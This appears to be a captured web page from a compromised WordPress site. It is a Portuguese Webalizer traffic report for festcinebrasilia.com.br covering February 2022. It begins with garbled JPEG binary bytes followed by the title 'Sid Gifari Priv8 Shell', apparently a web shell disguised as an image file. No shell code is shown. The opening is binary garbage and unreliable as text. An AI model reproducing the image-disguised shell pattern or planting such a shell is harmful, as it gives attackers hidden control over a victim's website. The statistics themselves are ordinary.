���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell Estatsticas de utilizao para festcinebrasilia.com.br - Fevereiro 2022

Estatsticas de utilizao para festcinebrasilia.com.br

Resumo do Perodo: Fevereiro 2022
Gerado em 01-Mar-2022 09:05 -03

[Estatsticas dirias] [Estatsticas por hora] [URLs] [Entrada] [Sada] [Endereo] [Referncias] [Busca] [Clientes] [Pases]

Estatsticas Mensais para Fevereiro 2022
Total de hits 1174
Total de arquivos 222
Total Pginas 653
Total Visitas 438
Total de KBytes 679
Total de servidores 362
Total de URLs 78
Total de referências 18
Total de programas clientes 127
. Mdia Max
Hits por Hora 2 87
Hits por Dia 58 161
Arquivos por Dia 11 77
Pginas por Dia 32 94
Servidores por Dia 18 43
Visitas por Dia 21 36
KBytes por Dia 34 101
Hits por cdigo de resposta
200 - OK 18.91% 222
301 - Movido permanentemente 77.09% 905
302 - Encontrado 0.77% 9
403 - Proibido 2.47% 29
500 - Erro interno no servidor 0.43% 5
503 - Servio indisponvel 0.17% 2
504 - Fim do tempo de espera para Gateway 0.17% 2

Utilizao diria em Fevereiro 2022

Estatsticas diria para Fevereiro 2022
Dia Hits Arquivos Pginas Visitas Endereos KBytes
9 27 2.30% 5 2.25% 14 2.14% 14 3.20% 20 5.52% 17 2.50%
10 135 11.50% 77 34.68% 94 14.40% 28 6.39% 35 9.67% 76 11.18%
11 32 2.73% 4 1.80% 16 2.45% 16 3.65% 22 6.08% 17 2.50%
12 60 5.11% 2 0.90% 37 5.67% 36 8.22% 43 11.88% 85 12.48%
13 35 2.98% 6 2.70% 22 3.37% 18 4.11% 19 5.25% 0 0.00%
14 89 7.58% 6 2.70% 62 9.49% 29 6.62% 35 9.67% 78 11.46%
15 38 3.24% 6 2.70% 17 2.60% 16 3.65% 28 7.73% 34 4.94%
16 53 4.51% 7 3.15% 29 4.44% 24 5.48% 27 7.46% 38 5.56%
17 39 3.32% 4 1.80% 18 2.76% 17 3.88% 26 7.18% 50 7.39%
18 29 2.47% 3 1.35% 16 2.45% 14 3.20% 17 4.70% 0 0.00%
19 161 13.71% 6 2.70% 75 11.49% 27 6.16% 32 8.84% 54 7.94%
20 38 3.24% 7 3.15% 26 3.98% 18 4.11% 20 5.52% 13 1.91%
21 31 2.64% 4 1.80% 18 2.76% 18 4.11% 21 5.80% 17 2.50%
22 63 5.37% 25 11.26% 21 3.22% 13 2.97% 20 5.52% 31 4.57%
23 94 8.01% 30 13.51% 50 7.66% 28 6.39% 29 8.01% 36 5.25%
24 78 6.64% 6 2.70% 40 6.13% 26 5.94% 31 8.56% 17 2.50%
25 37 3.15% 5 2.25% 23 3.52% 23 5.25% 23 6.35% 0 0.00%
26 64 5.45% 8 3.60% 37 5.67% 35 7.99% 38 10.50% 17 2.50%
27 18 1.53% 3 1.35% 13 1.99% 13 2.97% 12 3.31% 0 0.00%
28 53 4.51% 8 3.60% 25 3.83% 25 5.71% 30 8.29% 101 14.83%

Utilizao por hora em Fevereiro 2022

Estatsticas por hora para Fevereiro 2022
Hora Hits Arquivos Pginas KBytes
Mdia Total Mdia Total Mdia Total Mdia Total
0 0 15 1.28% 0 2 0.90% 0 7 1.07% 0 0 0.00%
1 1 32 2.73% 0 4 1.80% 1 21 3.22% 1 27 3.97%
2 1 32 2.73% 0 2 0.90% 0 18 2.76% 0 0 0.00%
3 1 20 1.70% 0 3 1.35% 0 4 0.61% 0 0 0.00%
4 3 60 5.11% 2 44 19.82% 0 8 1.23% 0 3 0.42%
5 1 36 3.07% 0 5 2.25% 0 19 2.91% 0 0 0.00%
6 0 19 1.62% 0 4 1.80% 0 12 1.84% 0 0 0.00%
7 1 38 3.24% 0 5 2.25% 1 22 3.37% 0 0 0.00%
8 1 34 2.90% 0 9 4.05% 0 15 2.30% 0 0 0.00%
9 2 55 4.68% 0 6 2.70% 1 34 5.21% 1 13 1.91%
10 1 37 3.15% 0 2 0.90% 1 30 4.59% 0 0 0.00%
11 1 33 2.81% 0 3 1.35% 0 18 2.76% 4 71 10.50%
12 1 39 3.32% 0 6 2.70% 0 17 2.60% 4 87 12.87%
13 5 102 8.69% 0 8 3.60% 2 55 8.42% 5 101 14.83%
14 2 54 4.60% 0 9 4.05% 1 33 5.05% 3 68 9.99%
15 2 42 3.58% 0 6 2.70% 1 21 3.22% 3 68 9.99%
16 6 123 10.48% 0 7 3.15% 1 38 5.82% 3 64 9.40%
17 2 42 3.58% 0 7 3.15% 1 26 3.98% 2 34 5.00%
18 6 120 10.22% 3 77 34.68% 4 85 13.02% 3 59 8.65%
19 2 56 4.77% 0 6 2.70% 1 32 4.90% 0 0 0.00%
20 4 83 7.07% 0 2 0.90% 3 64 9.80% 1 17 2.50%
21 1 35 2.98% 0 1 0.45% 1 34 5.21% 0 0 0.00%
22 1 31 2.64% 0 0 0.00% 0 19 2.91% 3 68 9.99%
23 1 36 3.07% 0 4 1.80% 1 21 3.22% 0 0 0.00%

Lista 30 de 78 Total de URLs
# Hits KBytes URLs
1 103 8.77% 0 0.00% /wp-cron.php
2 16 1.36% 1 0.18% /.well-known/pki-validation/7DF5708F64A052B51620BFE1DA19E988.txt
3 8 0.68% 1 0.09% /.well-known/pki-validation/950CF7B365FE21516CE3B2E14E4DF23B.txt
4 3 0.26% 81 11.91% /wp-content/uploads/2021/10/bg-topo.jpg
5 2 0.17% 3 0.44% /wp-admin/css/
6 2 0.17% 4 0.57% /wp-admin/includes/
7 2 0.17% 1 0.10% /wp-admin/maint/
8 2 0.17% 5 0.68% /wp-content/plugins/w3-total-cache/pub/js/lazyload.min.js
9 2 0.17% 7 1.10% /wp-includes/
10 2 0.17% 1 0.19% /wp-includes/ID3/
11 2 0.17% 1 0.15% /wp-includes/IXR/
12 2 0.17% 1 0.11% /wp-includes/PHPMailer/
13 2 0.17% 1 0.11% /wp-includes/Text/
14 2 0.17% 1 0.11% /wp-includes/Text/Diff/
15 2 0.17% 1 0.12% /wp-includes/Text/Diff/Engine/
16 2 0.17% 1 0.11% /wp-includes/Text/Diff/Renderer/
17 2 0.17% 21 3.14% /wp-includes/css/dist/block-library/style.min.css
18 2 0.17% 1 0.13% /wp-includes/pomo/
19 2 0.17% 1 0.14% /wp-includes/sitemaps/
20 2 0.17% 1 0.12% /wp-includes/sitemaps/providers/
21 2 0.17% 1 0.19% /wp-includes/widgets/
22 2 0.17% 0 0.00% /wp-load.php
23 1 0.09% 0 0.05% /.well-known/
24 1 0.09% 0 0.01% /.well-known/pki-validation/1768B99602E17E0BEF3A8C1F84E06C21.txt
25 1 0.09% 0 0.01% /.well-known/pki-validation/19B5D241F32B6A5E3D0437619822CD96.txt
26 1 0.09% 0 0.01% /.well-known/pki-validation/1ABCFE5F5515DC786990BD417354E65D.txt
27 1 0.09% 0 0.01% /.well-known/pki-validation/49AD1B39DC0804F3606F7FD2541D9439.txt
28 1 0.09% 0 0.01% /.well-known/pki-validation/5B2021A111BDC02F68C78BBBF1F4E416.txt
29 1 0.09% 0 0.01% /.well-known/pki-validation/6B2872E0962007C298D1B8D239B05ABA.txt
30 1 0.09% 0 0.01% /.well-known/pki-validation/7F8C289854C53C6B51453950037D9E15.txt

Lista 10 de 78 Total de URLs por KBytes
# Hits KBytes URLs
1 3 0.26% 81 11.91% /wp-content/uploads/2021/10/bg-topo.jpg
2 2 0.17% 21 3.14% /wp-includes/css/dist/block-library/style.min.css
3 2 0.17% 7 1.10% /wp-includes/
4 2 0.17% 5 0.68% /wp-content/plugins/w3-total-cache/pub/js/lazyload.min.js
5 2 0.17% 4 0.57% /wp-admin/includes/
6 2 0.17% 3 0.44% /wp-admin/css/
7 1 0.09% 2 0.31% /wp-content/languages/
8 1 0.09% 2 0.25% /wp-admin/js/
9 1 0.09% 1 0.21% /wp-admin/images/
10 2 0.17% 1 0.19% /wp-includes/ID3/

Lista 2 de 2 Total de Pginas de entrada
# Hits Visitas URLs
1 2 0.17% 1 50.00% /wp-admin/css/
2 1 0.09% 1 50.00% /wp-admin/js/widgets/

Lista 2 de 2 Total de Pginas de sada
# Hits Visitas URLs
1 1 0.09% 1 50.00% /.well-known/
2 1 0.09% 1 50.00% /wp-admin/js/widgets/

Lista 30 de 362 Total de endereos
# Hits Arquivos KBytes Visitas Servidores
1 140 11.93% 140 63.06% 3 0.38% 0 0.00% vps-7845455.svarmodigital.net.br
2 78 6.64% 70 31.53% 42 6.15% 1 0.23% 37.0.11.64
3 65 5.54% 0 0.00% 0 0.00% 1 0.23% 20.97.57.171
4 32 2.73% 0 0.00% 0 0.00% 32 7.31% msnbot-40-77-167-32.search.msn.com
5 30 2.56% 0 0.00% 0 0.00% 1 0.23% vmi775745.contaboserver.net
6 30 2.56% 0 0.00% 0 0.00% 1 0.23% vmi795431.contaboserver.net
7 26 2.21% 0 0.00% 0 0.00% 1 0.23% tor-exit-relay-5.anonymizing-proxy.digitalcourage.de
8 25 2.13% 0 0.00% 0 0.00% 25 5.71% msnbot-40-77-167-43.search.msn.com
9 24 2.04% 4 1.80% 26 3.81% 2 0.46% 52.142.26.175
10 21 1.79% 0 0.00% 0 0.00% 1 0.23% 14.29.238.135
11 20 1.70% 0 0.00% 0 0.00% 0 0.00% 216.244.66.250
12 20 1.70% 0 0.00% 0 0.00% 20 4.57% msnbot-207-46-13-179.search.msn.com
13 19 1.62% 0 0.00% 0 0.00% 19 4.34% 186.202.173.147
14 19 1.62% 0 0.00% 0 0.00% 1 0.23% platinumhost.xyz
15 16 1.36% 0 0.00% 0 0.00% 6 1.37% ip-173-231-60-195.seostar.co
16 16 1.36% 0 0.00% 0 0.00% 3 0.68% ninja-crawler107.webmeup.com
17 15 1.28% 0 0.00% 0 0.00% 0 0.00% msnbot-157-55-39-18.search.msn.com
18 11 0.94% 0 0.00% 0 0.00% 6 1.37% crawl-66-249-72-224.googlebot.com
19 9 0.77% 0 0.00% 0 0.00% 8 1.83% 40.88.21.235
20 9 0.77% 0 0.00% 0 0.00% 0 0.00% unn-138-199-28-35.datapacket.com
21 8 0.68% 0 0.00% 0 0.00% 6 1.37% crawl-66-249-72-84.googlebot.com
22 8 0.68% 0 0.00% 0 0.00% 1 0.23% ec2-54-145-5-13.compute-1.amazonaws.com
23 8 0.68% 0 0.00% 0 0.00% 0 0.00% msnbot-40-77-167-98.search.msn.com
24 7 0.60% 0 0.00% 0 0.00% 6 1.37% 102.241.185.35.bc.googleusercontent.com
25 7 0.60% 0 0.00% 0 0.00% 1 0.23% 182.92.118.97
26 7 0.60% 0 0.00% 0 0.00% 7 1.60% 204.101.161.67
27 7 0.60% 0 0.00% 0 0.00% 3 0.68% de.proxy.tntcode.net
28 6 0.51% 0 0.00% 0 0.00% 2 0.46% 52.226.67.2
29 6 0.51% 0 0.00% 0 0.00% 5 1.14% crawl-66-249-72-252.googlebot.com
30 6 0.51% 0 0.00% 0 0.00% 3 0.68% crawl-66-249-72-82.googlebot.com

Lista 10 de 362 Total de endereos por KBytes
# Hits Arquivos KBytes Visitas Servidores
1 5 0.43% 0 0.00% 84 12.33% 0 0.00% 37-115-125-205.broadband.kyivstar.net
2 5 0.43% 0 0.00% 68 9.99% 0 0.00% dedic1511.hidehost.net
3 78 6.64% 70 31.53% 42 6.15% 1 0.23% 37.0.11.64
4 4 0.34% 0 0.00% 38 5.56% 0 0.00% 85.132.252.37
5 2 0.17% 0 0.00% 34 4.99% 0 0.00% 37-229-196-206.broadband.kyivstar.net
6 2 0.17% 0 0.00% 34 4.94% 0 0.00% 217.138.209.152
7 2 0.17% 0 0.00% 33 4.89% 0 0.00% unnum-78-27-160-32.domashka.kiev.ua
8 1 0.09% 1 0.45% 27 3.97% 0 0.00% bb24a443.virtua.com.br
9 1 0.09% 1 0.45% 27 3.97% 0 0.00% bd3f7cd8.virtua.com.br
10 1 0.09% 1 0.45% 27 3.97% 0 0.00% nord.cksjwo.com

Lista 18 de 18 Total de referncias
# Hits Referncia
1 836 71.21% - (Direct Request)
2 103 8.77% http://festcinebrasilia.com.br/wp-cron.php
3 78 6.64% binance.com
4 65 5.54% https://www.google.com/
5 33 2.81% festcinebrasilia.com.br
6 15 1.28% http://festcinebrasilia.com.br/
7 12 1.02% https://l.instagram.com/
8 10 0.85% https://www.crawlson.com/search
9 6 0.51% https://www.editaiseafins.com.br/
10 3 0.26% http://festcinebrasilia.com.br
11 3 0.26% https://g1.globo.com/df/distrito-federal/noticia/2021/10/03/inscricoes-para-o-festival-de-brasilia-do-cinema-brasileiro-terminam-nesta-segunda-feira.ghtml
12 3 0.26% https://l.facebook.com/
13 2 0.17% http://festcinebrasilia.com.br/robots.txt
14 1 0.09% http://festcinebrasilia.com.br/wp-login.php
15 1 0.09% http://tecexpedited.com/
16 1 0.09% https://king.host/
17 1 0.09% https://lm.facebook.com/
18 1 0.09% https://www.editaiseafins.com.br/editais/detalhe/1103

Lista 15 de 127 Total de programas clientes
# Hits Programa cliente
1 111 9.45% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
2 80 6.81% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
3 66 5.62% WordPress/5.9; https://festcinebrasilia.com.br
4 65 5.54% Mozilla/5.0 (Windows; U; MSIE 7.0b; Macintosh; Trident/4.0; Intel Mac OS X 10_4_3)
5 60 5.11% Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36
6 46 3.92% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
7 43 3.66% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
8 37 3.15% WordPress/5.9.1; https://festcinebrasilia.com.br
9 35 2.98% Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
10 33 2.81% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
11 32 2.73% COMODO DCV
12 29 2.47% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
13 26 2.21% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
14 22 1.87% Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
15 21 1.79% Apache-HttpClient/4.5.2 (Java/1.8.0_151)

Hits por pas para Fevereiro 2022

Lista 20 de 20 Total de pases
# Hits Arquivos KBytes Pas
1 389 33.13% 75 33.78% 207 30.46% No Resolvido/Desconhecido
2 375 31.94% 1 0.45% 95 13.96% Comercial (com)
3 179 15.25% 142 63.96% 57 8.36% Brasil
4 137 11.67% 3 1.35% 271 39.83% Network (net)
5 33 2.81% 0 0.00% 0 0.00% Alemanha
6 16 1.36% 0 0.00% 0 0.00% Colmbia
7 11 0.94% 0 0.00% 17 2.50% Federao Russa
8 6 0.51% 0 0.00% 0 0.00% European Union
9 6 0.51% 0 0.00% 0 0.00% Reino Unido
10 5 0.43% 0 0.00% 0 0.00% Organizao sem fins lucrativos (org)
11 3 0.26% 1 0.45% 0 0.00% Espanha
12 3 0.26% 0 0.00% 0 0.00% Luxemburgo
13 2 0.17% 0 0.00% 0 0.00% Repblica Tcheca
14 2 0.17% 0 0.00% 0 0.00% Guin Equatorial
15 2 0.17% 0 0.00% 33 4.89% Ucrnia
16 1 0.09% 0 0.00% 0 0.00% Gabo
17 1 0.09% 0 0.00% 0 0.00% Territrio Ocenico Anglo-Indiano
18 1 0.09% 0 0.00% 0 0.00% Itlia
19 1 0.09% 0 0.00% 0 0.00% Holanda
20 1 0.09% 0 0.00% 0 0.00% Turquia


Generated by Webalizer Version 2.23